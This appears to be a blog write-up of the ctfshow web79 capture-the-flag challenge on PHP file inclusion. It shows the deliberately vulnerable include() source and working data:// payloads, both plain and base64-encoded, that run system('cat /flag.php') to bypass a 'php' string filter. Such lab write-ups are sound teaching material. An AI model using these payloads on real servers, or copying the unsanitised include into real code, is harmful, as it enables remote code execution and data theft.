ctfshow-web79-文件包含-data伪协议

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:10:14
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

比上一题多使用str_replace函数将参数file中的php换成???

可以使用data://伪协议执行命令

1
?file=data://text/plain,<?php system('cat /flag.php');?>

image-20250519195007186

直接使用没回显,加上base64进行编码

image-20250519195110043

1
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcucGhwJyk7Pz4=

image-20250519195231088

也可以使用大写绕过对php的过滤,但是可能会不知道flag的文件名,而且flag.php也有php不好绕过


ctfshow-web79-文件包含-data伪协议
https://yschen20.github.io/2025/05/25/ctfshow-web79-文件包含-data伪协议/
作者
Suzen
发布于
2025年5月25日
更新于
2025年5月29日
许可协议